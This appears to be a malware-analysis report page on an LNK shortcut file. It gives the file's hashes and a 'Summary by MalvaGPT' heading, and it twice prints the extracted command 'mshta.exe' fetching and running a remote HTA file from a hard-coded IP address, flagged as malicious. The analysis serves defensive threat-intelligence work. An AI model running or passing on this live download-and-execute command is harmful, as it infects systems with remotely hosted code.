Infection Chain
Summary by MalvaGPT
Characteristics
|
Hash | Hash Value |
|---|---|
| MD5 | 5080e029c34d68e3c0f94f7a266b1621
|
| Sha1 | 06b68017d187e6769ca19bd9540086abf0ec3fe1
|
| Sha256 | 5830c290b366e970c5ea25db9727a8b5df8d3cc62aa7e7756e9eb688d43d78e6
|
| Sha384 | 20a1458e8f1d02910aee31e1bab7a488a0e57317d56a75ffe5b2a88e3d15db376276b27cd11081cd536f6e1f211e6918
|
| Sha512 | 8dfeaafd16dab5e3e38efbe15d0223cd894e3c228aff063e5eb733b67880cf2cb6ae777a0a19c9d3c7ca7943eed3e415c4567a717cedfed96ca4cfc5be6b6925
|
| SSDeep | 24:8dSFfaPiA8AbN54+/eW+/fPO+/4z4I0WueWk+m+:80cPx55HOmkI8eit
|
| TLSH | 5B41FC195AE41329D7778E3B941AE3145731B907EB62CF6E05D050C80D49614F835F3F
|
File Structure
Artefacts
|
Name0 | Value |
|---|---|
| LNK: Script Execution | mshta.exe http://159.255.38.19/.tzfuckua/tz.hta |
5080e029c34d68e3c0f94f7a266b1621 (1.95 KB)
No malware configuration were found at this point.
Artefacts
|
Name0 | Value | Location |
|---|---|---|
| LNK: Script Execution | mshta.exe http://159.255.38.19/.tzfuckua/tz.hta Malicious |
5080e029c34d68e3c0f94f7a266b1621 |
You must be signed in to post a comment.
You need a premium account to access this feature.
You must be signed in to post a comment.